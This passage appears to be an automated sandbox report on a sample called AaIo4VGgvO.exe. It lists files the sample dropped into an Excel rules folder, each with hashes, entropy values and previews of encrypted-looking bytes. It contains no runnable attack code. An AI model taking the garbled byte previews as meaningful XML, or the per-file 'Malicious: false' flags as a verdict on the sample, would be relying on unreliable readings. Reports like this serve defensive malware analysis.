Preview:	<?xmla\|.:....o.......?....\|.....?......eF....K..h..-..'{)z4.W,_.A...k,I........V.]..]...@.2...i.H.,].Q."..........!....5..PG...........FT....[.g9....?m...q.QO#G...e../....B.qKC.....1.X...ELK...F..3..g~...F.X.{.%..9....]....Z6..N..3......_ ..#..J#..>._FQ..3^.jr.u..w...#].....p..$O....D...=...."{l..:~z....L.....k.aS\..%.k.=..QwG.K.t.v.....f..S.....&#...5L...1z..,..o...j...RU.VC.._r..p..1#..k....M.H..\|.rT.v).../..q.?..i.,.......O...?a.+.w....q..SfR..o\..##I...<....jq..vS.4...s.O.B.`.O.XMM....R..{.,R...I...=.R.P`.\|.P.....uS.8:T.3..7...\|...3Tq..#..t^.q.A..$.}..jl.z..~...t....,x9.RNs.(.x!.5.....U..@.Fw-R...\|On..eo..@se.L...p.......-n.....$#...H.1...{...D...+.Q..k......u.....-Fn..:...n...j`\|.%#.....#a>..9...;#.QS...A..=..f....q-...H......N.K..2..a.(.H...B7X..$....M..MR...a...n....Rj4acy..v.j...I/@/..J..Q.2..@..T..D...E...s...D...5(.!.3..^..H.q.X..........z...P....Q)..hK7_._.....p..D....Be.$..G.$A..s.a.....?=6$..\..T.`.........Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.92099635160562
Encrypted:	false
SSDEEP:	48:F3Px57rQ/CKm8RkDt76+6Xn0NugecZx/QRRVfYY8LyEbdPTD:FJ5A/75Qt76+6n0wgLL/EwY9Ed
MD5:	6355183F682F672444097DE22BC18ED2
SHA1:	19D462BD52E50C97030DFEAEDC0F8458C11EAFD1
SHA-256:	4292AB891C583FA6E5291166C7FE34602C567C4AE6F7486C6941388589A9DDBC
SHA-512:	F76CE3C095AEDFA9BCB97CB863A45A71347DF85454B89B59784AFE77DE56AEFF896045CB436BDF0AAE73428C299ABE0307928F890C6F8EF87062B34724AD36C1
Malicious:	false
Preview:	<?xml...\| dx....j.....% / }..k.~..k..@..........M...8.t. .).........Y.6..g......+...wZ.._...n..\|E.&zn/.y..O..L.X.E.^...~...E.........t...UIg.....b..+...D.9]..II%..].V.V.=f.@..\Fo.U.i._....7l...f&.oh\|..g.l?.NI_...X..O6..X..d........?O....yS.........."n)2BM...>k..E..#*D.O.Z..S=...M.G.g(..?.f.X.....q.e...CTK4.S...e.....c."%.....Z..G;.....3!%....g...^..07.........q..1../.#.'f..;I.H..!d.=.S...U.K.f.$2...@'..j....o.!.....q..J..G..D....9..a..#..FW.H.'....Wc0P...t..-....J\....l....I.&.qH.H..[.v..3...^....`6..X...=....p\|T.B.h.m..=..Z.\+....Yqvtv..8`.Y..",...e.R...)..^Z.....WX..6bNi....H...>.e&..Az5.H.d.t..m....4..e.>...i.`....../..:.u....4j..>....k..8tbv...b....Mx.(J".<7..).!.......f...dv.o....$0..~v........8....f.k.u..A.,3.Y.jl...i...".{.g..ZQ.....Kz..p..~{..r._+..v.\|\+...7....' Xt...p.w..y>.6....W....."..V.j..\T..t$.h..hx5E.g...i.(..a=%..l..........G.RX.d.s.U.[@.w.W.J!.7z3+...I1.6.yt....x(....V..<...<,t.?,D~.J,.".I{...?.q..l.+d...S."e..".!}....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.864933234364111
Encrypted:	false
SSDEEP:	24:C4ke0ti7tzAFhEX6APni0wlNPkZlNruqV7mX0dVFbcfMPLIQiAlXhJFrr9BByF2H:fkrIAgvvi0wgZru7X0/FbjZicxzrr9Bb
MD5:	0DBB59A58C1F5383DF60AB4E4C1231B6
SHA1:	3CEE2F3367701EC84EE16138CDEFC7140BE095F8
SHA-256:	5817157BFF320CEDF8E85A025C396FB8A87751B4CA9BCCAC25BD4621C7E78F76
SHA-512:	35572FD69D780B34375717825CED52F5FE476586273EB2A6D3271B920D53A91820481C6994670A261A78A38916484A618929E841C3CB3E88E41CDE91540797C4
Malicious:	false
Preview:	<?xmlc..s.C..)N...J....&.3.........l.wn..w.p.>.M\|.7.......M...(.....t...#.T7`...(q9.<g...Zf.jtAu...E!:....tia.{....u...JR..G....n.{.r.#...l$.z..W..S.s.V/._X.;.....~.$....%y./.#.%.l-nKY.1..{f..>.G.9n.......-,.\|R=.ty._T(r..P.........pO.......U<mw.sQ..o.y.....,.k\|.....`{a..`..4<.,.}..9}..D..5.+..^.4.U..Hx....M.R.xN.]...r.....I..+.V..'..lrk....k4h.O.y..p.....]..:.3...c...X.v.)=.`q..G......Z.R2s..b.7dqfH.....p..:C^..'....M..SU..O.r3..G..=\|9.........t...1......u.2.E...KE.8.y&.b"....5.H..#.H.._.........4.9i.p..$.....P..C.##l_Vtl.B..rL..h..f..O9>YN............{.,ld...j..........._..........A.......l.4....{L..Z...A..~....k0.=.j.A..)w...?..n....N.e.9.....#.N.M.]..<....um.(3..8E.\|...D./..*~......g..Z...^..K[....#.I.o@.....#]."....-.O...vt....h1.>............F..%t.v..U.......ZF.{.gF...}"o>.........r..p.....R<.. .(...G..../.B8..c.fI.G..=...i..#RK?NK.2T...XD.{i.'6yh.1.........].....O...q7..,.r...~J......<.X.3....v...7Wc.p^..1RD.h;..C.W...!...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.783741628701488
Encrypted:	false
SSDEEP:	24:YLyvtiCTsVo43INojuZUmd9IbhxZuZqexGRYE5hODFobD:YGvBsVo69CZUmd0fP5YIhOZyD
MD5:	BCA199EBCB574EA5B30ED8B1E9B27DEF
SHA1:	07E6896BD65F8AA3525D10708AAEBE5AE381E7E2
SHA-256:	CAFA23879D74C4EB3E7B1F09144BAC4FAA9F9ECF9615BFB267DB26587D9E0BA2
SHA-512:	679E3167B302208EDE57FCA71D5123D82889E0B29B5BA336B861AA3E190856DE7B47F2051D70156F269206E2CED00DB4FCFEE8D75B8422CDB502261F61ABB64A
Malicious:	false
Preview:	<?xml....&....4..Km....m..xl....K..O..'../...y.1...E.U..t.E.pP.}.)!..\|.9.4Z......q...$....&f....&....x4z[u.....3...........@q..L...).`...=....hCr.[.$<F.b...~.1..&.k...p......0r....N;.\..F...T.c....a.F...G.....mb...X..,........G..1..r.N..k.-.r.{...f....c...9.U..w.9S.+..&<ua..KB....j..!.fW..=a.q'..$5.....R!.'.-.0...z.HA.bI.%..1o...]5.sL.f..E..._.h<.....V...u..iw......U...ntY.<.jd.d....Rmo%$n....J,a....>@.I........V...L4.YO..BY.....Q.#w.w.P.S..;8..A..P..4...{...?.%.x......(...A+......M.B.M....b6PU j.Vp7..A@...-............oF.`gMxGQ-g..x.O...I...9.iyy.n..i....."...O......k........\|=....V..)........:.$....Y..S+........B'...'hW4Y.v..4..(t.s.$p[U.St...C..GP,.y......2#S...G....>a...=j..).`jD+q{...5..^.$..2_r.5.b...1.$..{.....ikL..-......e....'P..,8D.....6.....4..=WBmS...@...l..QF...s..Cqz..F..V....41<..[1V~.z..............;..n.(..d^.......3<t.C.(...e.....T{.+..l...o..fhj&..W....F.!h.."Em.@.Q...piW..ELM..N.0.#....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.8886647559324325
Encrypted:	false
SSDEEP:	48:E2aU69Iw1cDCy+mpAB123OwDfJubR6wHhmD:E24Dc+DmI12IRbB+
MD5:	0FC290864F4C50B0EBB6D8FC366BC814
SHA1:	32570DEA65AE9ED85BA310F118E3CB4CD5EAB7D3
SHA-256:	CA6633BD25DA2CD50FE2568AF4E13469E420228D8A7912F2EF1EEB901BD3C540
SHA-512:	7CEFB73AAB832C2294A8337DFB8723587D798DD1641E74551839B9E41A8305A4A0D99065C36628AB04AC2886C9346DB0EF5152A7C4FE96B559AE353853F14EB8
Malicious:	false
Preview:	<?xml1c...d.../...H...$.}].vf.a.....b.....j..."..{.}.mt&..]...DI...8...=...f5k .9..;a-.r.Le.P>../.,\%...,.;5?J.<.Y@..5.G..... l.0.....S....$..49...j.t.&.....d..y0.'.~;.......Z..2.0.....%..tq.'.h../.\|...fl.].`T..}.coJ.x.k......X\|$]K....5G..R.....m<.;3...X/?.R.4....Y6.8.r.V0:y.k...+\...!.d..;k.U...d...f..$.#.7.L.)B..6.....+...R.....7".:.TW5N%b.$@..._r./,..\|..wH..I....!.Q.?....9M......<_.>.AZ.ZE..T{U.w.Gq..C...9=O.H....D..5$.V.&.n^...p.5..6`#BP.tr0..[].z.o..A........K.....d.......%..... ...XM.<...d...]..Q.S....A=3X..6H............GM..Z..+.J..>.x....!+.U).P6FG1.Z.>.S...W...z.......n.{yf .u.X.U .v$.$.V.O..&.$R..EK?.0.]..u).mA..,. ...d^...].X......>=9....._.......q.r..o3b..i.up.i..N._2[^..fJ."....u..yeh....W.+7q.....-S....I...W..Q.L.8.g.A...5h....k.w.%.k.}*...j>...F.KTc.1e....../..=..]T.i.f.84..d..F..yz..3Q.u`2u..\.F.....)i0?.+Ct..h1.4.L@k..6.,..3....<,(.v.Rh.G.....m..V.....0.>..Hbab.....v..5hoj.I"..@fYl=..=B<v,{m}Y...t..XTP...&~x....oc$..?.qYM.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.817647982215547
Encrypted:	false
SSDEEP:	24:YvikrVVy4+fjF9lKDndj6PuBtA3CbZLfW76EsaQXO51TVsX9ZAbD:gVpgvlKpuA6YZfNaQI5s+D
MD5:	8C8EE25E89DA19ECCDFE7F73AB3B4456
SHA1:	A9C850FBA840CE230E24DCBE34E6F7E0EE4D44A9
SHA-256:	4F8D2EE6760071EF54A64D2B02D65E92B6DC799AAF64FFA418A08C2AFD8E580A
SHA-512:	74F5BB7EB90D011AAB5476417980AF3BC41DD7E2D1DF3612E41901B567F1F0259F8222EA5A86E204537D5B59F74D73719CF0BF0E4646AD5A09DDA1FF39971261
Malicious:	false
Preview:	<?xml%.U...F\U.....>..P.....YRY...p..?K..h...6l....R....U....K.r2.K..&....9.e...u&.'.}.N.<..D..>.E..v?.d.B\.^....:`.......=.H.U....+.r....P......e.C..??].,.!...T.....k...".2...f.M...pKY.D....b....E.`.U....3I8;...d.)....\|C...W.O......Ut..01.@...a...)...l...?..Zh".n.QA.Q.L..wo5.1.9.....W...a?<B..T..fz..^..?]{..$(..9J=..!.c..:s.d3.\|8...;...q..E.e....H..:.e.. -j.(].........]..O.~...@K...L`.F.z.bche...[...cE.\].U...waY.y...g...h...$FL6..p...k...hq..K...x...p....8..n.2=..P.?B.%<.m&j`.h...4..A.i.P...1..wFD+.....IG#w.@SI...i.f.M.Z.h> Q...k=....g..:K...&.I......Ci.......N.q..mR.-.R.U....7-.YsP."...l.8...$.2z...t...C.y.-.....zo..).....H...Z....{....}.[Ib..?..r....=%......Da..........\....X...<~.}..:..._.b..<..Q....'...NW:....O.(...\.3....fcS.....5.*D.k}.b..r...h..~xX.....i6!P1{R......Q...<b..Mf.....c...Ym.P..M..}.m)Ad..]{.:..%^o.+.56[..AP..W,.6...].Y..J.X.c!.....]6y!^..w.71......D...d\_...0/.(..Ts.(..O[.U.N.....E.../.7lFf..q.K.k9n...]{./.@...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.850421505261343
Encrypted:	false
SSDEEP:	24:IZ76S3lL/HuFhQ8UKEMJguUFldJq8zwJKQBlsDDUm7YQNBMr+nU9b+cqHbD:lcuIrKE9uUFlaiwEOl8DJYgBMrGcuD
MD5:	C8940CB7C5FA3DB964BC596D5B795325
SHA1:	751DFB4AD894B109CA845D7E6546D1C6E1C44EC5
SHA-256:	6D4A8646490B81A1060968586C671641F9D3227D517F5CF05EA8B1577C218186
SHA-512:	DFBAEED9FBF98FCF06E242F2F10D8C7A7BA947045C863A319E3A20D5754607E976258173779B254FA719B22D83132666E1C2798F665402C97619EAF723AA6B2C
Malicious:	false
Preview:	<?xmlGV....P....{...'.....<bV..#."X1T7w.1.........~-...:..%......P..;....J.R..L..C"O.Yd..'.2.......R...i._J\.x.V.E..r,.f...}.on\4d.K..qC.....I..b.....-...+.X.[.}R.........`Q....b...y....M..CM..ho..G.`..5.}d.n.i.......&..'.mI.#..........#....f......>..I.-.(.B.E..!..t...O`.& ./....z.rH.u.....$.d....S \xe........>)E.H..~V..4..@?r.}.F....O......'.9.iv7..<..1/K..T.a...R..`=.y.}.71zA...=.j/..6. ...,..U...)w.O..M............]}.$\|.s......^g...o.........s......=.+ ....v.\|w.....:b4.....C4..f...{8.. ....?..P.Hz.pRD.......'..~....=;.,.#....h}................-.T^.C,w..R.#...\.fQ.....pe..c.....G91.g......-YI(......{w..o=...cm..``w...o.g.V....b..._:.L.h....9-BD..Y...g.f..)..x....e^...M...k.i0.g.x.RFy..7q........@_......=t8R..t...@p.N:9.1...0.._...3.J.nuB./..G:26..F.2...(.N...p.._..........}[V.~..(...R.N..^.(...f...X.y...O.;..3D..Us..4.9...c.HM``..l.N+.Z.<[].,.m+.L..J.H..82....z@'..H...2..0..O..8.aR1....+:...c......*JBRj..t.".....u.n;]..X..!.s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.91058272767099
Encrypted:	false
SSDEEP:	48:mySdCEec9M+xwCqEG/BfnOQ6l3rP8n+52whiI5OUD:mvdCerOECOlq+5diIwA
MD5:	393B0D08E2A043CC8C9A8131399AD5E0
SHA1:	A2C0ACDFB9D5EF253C0EB483CE3E23E1E9B67DC0
SHA-256:	F79898482FA3D61E4E042B82E09AEED14F98B43FEE805F8BB90C0C85AE7AB33B
SHA-512:	2CA4B6412543173653D0AAC45EC82688B6D3B4769D3F6E4BE8B979FF4AF3BFF6F805AA4C6FC050F8DE673179340D037944DC7B25CA0C05E738DBC707EC344D71
Malicious:	false
Preview:	<?xml.2..........sC.....F.Q.l.....G2.:....[:j.`.....R.X...=y.;...j2.......L{t..tb.Q.P`..z.J.y...S0..:...U.......F..~.........b......A.Y..$.;{..,e..7(....F..."...r..c...m......{<o..)...F..@../..L.......[..>V@u..J....z.......S....n{.!........JYWH.j..e.K[..a.~3.#.......g.A1.!=6...`....FQ..r/....v.v..t.]..<_2.l..{...F.=..H.i..8..j...\..%.5.O..W...&.d....HL.C<.".u.....8...`kw.M.. ...y.?..4.^..w...2..%...t..,.p....I...c.,..iE..a.^?..I...n....J...6...d.....Ek...+..W.'.....D..\|...p2.J.....j8...C...{p..!....s6.+..Q.M..Y..k'...j3.....)...u./.:y44Bj.(Q...ge.......9.............t.U.)p.~.q..y......g....=..B .F.r.....j./.v.W}....#..Q8....#.}....By.m.;W....9......M.s7...E$u...@0."k.^...<+..#. ....p..Wj.....(...../...~...y..../G#.%...?.C..MS.9..-........CN\......).QQ.mAP.{X.......7..;...h..y.t.......p!...d.g...J..['Z....,^.62.(.E6...r?..;.#.......&s.F\_.&...{..e...k..@.D...'\|6.....u2...u.,........7..HR...qW.q.57.:..&'......HI..]..Z.3a..}YDT.. ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.858189962466901
Encrypted:	false
SSDEEP:	24:gMzVX2vRID4N2pRh5pfONG5FGqTtD3d41fN2vgxADEKBtx0+b3dgzVgHB0ObD:7z6eDL0etDy1f/AYOxPOzqBbD
MD5:	22FC876A581DFCCBCB31FD38F91C345B
SHA1:	88E863D04C7623A1ACD4131594C92BFF2CC78D60
SHA-256:	1449DDBCBAD562CECA8471A0D2F003F294832F76283018DF3EC2A98C1D31FD9F
SHA-512:	CA549C6CD21F248703D6AC8C9DA9EE9399F24D03692D8D0A4C2F9667C162BDF393A68CF6ACB26D2E41EAF9AE74A1FC933907BC15B56C3BCCC9662B6194ADB8D3
Malicious:	false
Preview:	<?xml6:"...50MqY.....7g..z/.&..c,j<=.....3.S.}C.+m...$........C.. 9.=.....B.]...+v.(!.b..h.F0R..\......%.U2.]:d......o.Il...........tS9l.G.~I...=h....Egd.w`.;....p.c..E..).+vK...l ....e.._4.....e.q..O,.W:=.Z..Y..\|.).G..~{.w."..`......B...z[.9-./.8..'F[w....F...i....(..a...........c.......h+i..q.;......d.1.Pz&^..9..H.+..U.."..#y3X.......(.@r.Gk^....O^...NK..z .r....c.}.w..._../6E7.u...{.z`-..1......6..$...H9.D....v..a.\.....\|.B.K.X.....M2v#g..m.WH..]lih!....n...y.9.F6gi^6..4,.\|...N%.D....eM..@.Q.N.......E.a>u( ..g.....X.7.!...'.m_;.b.f..#..;X_..S..I......l..DC.SN.o.&[..Z.ZS4;..i...]7.)..T..6....40...\..4..I..A{..`.z..{.......`....P...n..<..[..q........H..)O........G.z..q.8..#L._."m..".G.}MB.Q\...c).vnY.4.B..V3.UPFS#....s..6.ag.5...8.Q...@....s./.p...5...7..m...]........b....-.3.Hv...U.i..SUht\|......I..wS..!.0.......!Qt......;'.[.....p.a...A.{....}...H#.1......U.%...dXI.E.i7.=..;.d"..J.4'q.3.Rz..0.........)N.......t.fD.......R0I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.870677749070006
Encrypted:	false
SSDEEP:	24:wxifcE+2on8FkaynhtFThV26XNFkyIBJn+ahi0dsP1/ESnZ4k56Ocrj3znHR5pAX:NcE+2dyaAtFTf2YFkyIfnNo0dsP1MyZR
MD5:	2E65CB5F5CA568AA48E8180F3F003B08
SHA1:	394926A32CD52CB876E577466DFE0077BDF4093F
SHA-256:	7DFF7DF2395AA93225CD62B7A9BF0A43F9F0B946553355FFF13F3875D69C13C1
SHA-512:	B546BAA255AA3FBCE499E1965651153022044B58A47689A9C7FEB021465654A02CD27A485F05C90820537403AAA644CA7B1F1EFF425763278649CA90CD7933F7
Malicious:	false
Preview:	<?xml. !8.\..1...)>D^A...4(...:....H.y#bl....DP..........y+.F.4q=.......D...X.... ...aNw2v."..\|z....PKx.(...0.VR3.bPT..:U..s.h..^.Q......i2.YD..Jh....f,....h....Xg..W.......o.tX(.x......y..t#.y.kF.-7F...z,fH.....U...#....n..&....7U....~b.$.4.{...:...<.........V...t'.h...... !.{W.F s..c..2........t.Ke.a...p..3Y....:`..h.'....W.`.......C6.v../. ..%.9.P~....b.X...#n...'...#..M..$.X.&B.%.....Hkd1.!.f..l.eW.....J.[..V.'....>.]...J.;...iCx..)..d.....m. .......u.w..F...FJ!...>;hXD....h..."e.r.......G..OM...qS..V....... .^{.......C@...[A............w..^wo..."..9.7.....w3......"G....H.{...n\|'.-X.}.6Q.Fc.N%>...>z....\.>..PE...........p..5mp..mN{...Z..L..+..B.....G..Z.o..........r..4...'E.....y.#.6ff-.C..L.R..Fi........M.`......jpg........wm..'.U........KL;.........\|......#[./......G...0.....E.Bl...V./.B%q........m....-......$..y..k..1.....jb$.)..@.g_..`"&.4S.[.......H.~.FN..@....'V....{L....nR.t.mt..xg..,.O#..]....{...,...\|.w....F....V.j..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.790563556926607
Encrypted:	false
SSDEEP:	24:xf6FZkR2ZVs1HBZcJRwPriv4P8xtdjcGcMVuz8ZVFhDl1mBu6pw8JbD:t6kQ/2hZc+gl/djcGVuz8ZPllUB1FD
MD5:	0D3252640290A3873C17868654880D37
SHA1:	DAB0DE391DE3CEFD94881E97F930BD993C4C2E2D
SHA-256:	77E3CD6B0DFC2EB1D861C6B69C357B5A8E25478C0AE853392EB70C195BA1D23E
SHA-512:	F213227BF1FB0F66BD49E15EC230018559DFFDB596A0A018816FE650938479C0B5B762A11DF3EAC96B49F3D4644A6A4B49B9D567A96BEE69B796B5B63E4A9930
Malicious:	false
Preview:	<?xml.E.#:m....r..$..K.3..5.0.(.L9....%3alW....ZC<..`\..)E..........T5g.$.z......,....tO...g..>.X.[->g...h.[.%...]..6..T..RU0........C....j.N...t..d.o(._....}...ny.<./....T.gP................<(......L....4......Z..b..........T.....O..,YGM......s.....L.e{.4..:6..p<`.....!8^NVS.;..[..v.<...{.........~.7..Q.N..3QEYYN..I...I..z....!...[..`.... W.E..D...<..v.d..@....6..O._..]....dy.9..r.[.BBv'...d;....9.. .7.eQ...[...v.:\|............@P...##q.....T......B..M...r..kw...k.....t..x.Y...I.o...s4..;..r3kJ........-s...)..(...W,..>....&....f.K.\...{.J....R..ft.%..J.d..C.Q.F.S.-..$..!H.U.s...\|;M...l].........9xv#[..2a...?<......R..7%..1np.#r.3...K.Y.....C..p;..LU.x.#^.&...ne/.Ma.9Ef(Ri.i..h.8...8a...8H.....a..........).C..k.}h?..ScH.6v...^..\|....=.-EM.\..=D..]W\....#?.=.O..CE.#mX...Nb..F...>......G.T......`0o...KiK.......U....7.LkD>P...HT.W0....+..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.96087230177245
Encrypted:	false
SSDEEP:	96:Wt91GjeAktK6eM6wsLa/rfcFXti5rbqDfhQN9GLKhBEN71:q/4NzMyTtkrIhy90iBk5
MD5:	B234665B82CC108CF32A1F560E43465B
SHA1:	AC65C39E4B2F80B1D7B7ADD4310DD2BF8FA39253
SHA-256:	D636FC578C0DD7DCFD3C8BD3E6E9BEB9EFCEF282B7926A5BEE858A78ACE26884
SHA-512:	28B907F25E2FE4612F5E223ECA0DCD5F7FC762314E14F7840253313A210E0E6A86D95C0B2483BD16D8CC87D8DB09314258650F4560192E8AE45E3495ACEEC9B4
Malicious:	false
Preview:	<?xml..s.%9Gx...u.@....)..nr............W......e...q..r.e@g..{....V._..S.Mj.%...C4mRT...k$.-...6...U...p...Y....N.........Q..3..0.H.......Ayx2.....0..../I..jxh..\k...2...K....i{..6_.3..._..Ybd..).b..Z..G.../.......f3..0./...u.2,........v......\|c).1.D...!!.. c.....P...6...<d... ..N6..{...93..y..[.2...0..ml).Z:.....@G...A7....1`..T....!....Oi. ..3_.g.n3!..`..#....z.`.._.;....}..1......u......5...{....}.o.....F..,.3X.#..-in.XJ......_...cE.:..w.{Sv...A...........Zu(,.....e.......IU.vq...X.4@./......;..i?...m<t.<d..\........&QU...c...To..u.#....w(.w..[.f.O.fZ.,.3.....B6......'.?..0.C.+8.QiF.b.;.m.I^.[.....7.....bO.....p..L5H`...@......;o4..+h....0./...MC..9..0G.}g..\|I.$..~.S.....5...\.....#n...Y..2I.g7b.M.o.dBKY.<.d..c........k.M.\.M1......>...@.v.5yM...<\......@Y...oo}'....p%H.....F.T.)..+.J.h.:.RB.....m...?...e..S...._.r.<....,..P...f....YD0..f}u.H.*.+..5'...D[..<E.&.\%k...S{...E1..d.A.....(.E.........v.r..zt....K...0...3........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.935322572373239
Encrypted:	false
SSDEEP:	48:uryiZmrn3M93YLY7iWCHaj76ns5lSdJnnzDLYg4mawvqnGWkv9Y1syEYZABD:fikcuLlHaRsnnzHYgM+cXm9RIAp
MD5:	4A69452829D302D5EEF7F8BB0B88005D
SHA1:	F9483564502E3177F99CF5EC95C1EFB496A3F93E
SHA-256:	79CA64DC7A4FAE73A3263C99C9D5D054B752DC1A25512DF15239E92C9B2F0CEE
SHA-512:	76B211026B0184EBA94757EEFFDFB150E11E329703122C9E016526FBAF30445338688DC4042CDA0718E9641758AEA758B5B1FD75ED5D54E939F29766EFF8C4C0
Malicious:	false
Preview:	<?xml5.q.J.GF[..+....-..q....7$h.,....i...:.mU~...o......^..Q.l.o .f.....'mh....N..R....e......k...~wz..L..+. .Q..).;.q..It\...N.......f.....o.G..Z..)5b....3...K.L}..^..X}.mCfjnk........}PE...sc ..Sj...e..kK.F....9]^.P3X.....3....1..)a...]5.0.g$.. c..].U..[A.XO....s.."..4..e..2<.\..".T.X.v..o.$.?.jg....k.d=...$.\.A....[......4....CX.2.....<..C....5..'.h#.M^...(.3.c.(..P.j.V..C.....%U.....Q...5..$...'t.&.x.Vn.l.\|.+..&"......<..2ks..U<...g\.q..{XZmd.$......-.~...f..$N..N../.....>.P..Tt....4uTR..i...-.N...:7n.S...+f...... .].n_}.=.=H..A..h..D....$...5x...,Y4a%Y.._=D......b...5Zs..Dg =..`SE..y.N..n.Q.&.....{.S..+.f.80f.I..M.[..3.3.1.;...mN!..C...Z\...<5m...6bJ.....p.Z./B...r.......;....Pr.gn.....p." ...2.v...oR..0.....Q.....c.-W.0X.K.B.&.M?.S4-{..............v>..A1...I..-.8...tJ.}.4C....#..?,.".9..(...q.eB...!.............y.w)m..2..<...%}7..e.PQ,..~5%.o...-A\|..B.....v.%...<Dz{FW..&.v.h...)....c,K..!...\..t.\|@.@............8'....\..F.W>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.938876253131954
Encrypted:	false
SSDEEP:	96:KRiQwfnV5x5dv3qFpmP7J0EOUgSHejbGj:Xb/V59QmjJ0EOnS+Gj
MD5:	EAFB124293DCCF74F076B7C53A2388CC
SHA1:	7264596D1158E27BF341C3EC7BB033288D3814BD
SHA-256:	E78D95A5E36A392A53331D0B20866C0BCDBCF957A92D6D2707C48A411CC33E0C
SHA-512:	2DDCD1FCA63853DD0F6628AC0D36257C11A30C7E9770E23BD8A51561FEFDE7D4A94174AFD1EFD7AD4B7069D8C0A5938A6AC88E028DCB98CB4C23BE92207D9AAB
Malicious:	false
Preview:	<?xml.\a..F...T.).[>J....C.<...1;,qE.c..2......%H..Y}r.).\S.......[.NH.Ab.Q.U..j....c>..M...uE......P. ..b..M..^H.+m.=\...CFD\|x..I...q........;.Zl.\|..5.B...(Ej...H..-.Y9............S....4Y..V8....j..../.[6.%H...Z.&.M.H../.=-...2.._#.y....D0Se..f.A.^>{..U....).1..TiTAu.....m.8...3..t.<.......k.$.O_5.B..<q#..e.....].1.e...-m.....h..'.f../>.L..Z\......]...d^T.....[.:@r..a&.UK;....[]TB.Q..7.G.\....?.P{x.9Q..I...y.4Y:...@.j..X0.t.s.......iJdH.b.s.=......mt~.......T....Nl(.w~.W...+8I..c7&.}af..Z.q.m...1y..........m....Y..p3....`R....^.. TG.....>..q/RQ....d.3....r.^..h1.BrC...Q4>.i...1}+..K...T..rL2.s.t..Tiq.C.@.6#O.c..Uz.l...+....%..tUpS212V.fr.~L...O...Hu$z...\.....-.A......h.~.}.#..$...r....j.....\..{....T..9^....[....C;...$.....mY.8.~.......#B.Fi.VY:r:L}.E.K.c..@....~....+w{%...JI.<_`.u...#..im.4z.p.N....e).Irf!iW...<...m..ZlD.N......{x-..V...?.....EV#C.2%2u.Q{.a.5al......^.qKx%v..%.x..+X>Iw.p.[w....45..F..*.gf.m...2'w..Z.Ci'X.1...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.83329661963209
Encrypted:	false
SSDEEP:	24:orborltli7Xi7P8C5oiM+2idkTJL5ktP3Ypgg30G6vtfWchp+8tbD:Q0ltM7yT8UMpLzpW/vtTTD
MD5:	E85F5F592022F4C26FAD52A94F24D940
SHA1:	DB9AFAD19DF22423ECF546D3D4ED6798348AF099
SHA-256:	46AC7B9E0C59509DDF8577F4155A2F19CBFADD8FE9F3ADABEA93B5BAD794DE9D
SHA-512:	25485E4672901043DE78411568F3BC26D687CFF4CF93BA9DA21BAD164A24FDAE3200EF816C534FE435DF36F246FC17746D6E7935581D2BA1D9E6960DF4B5DC59
Malicious:	false
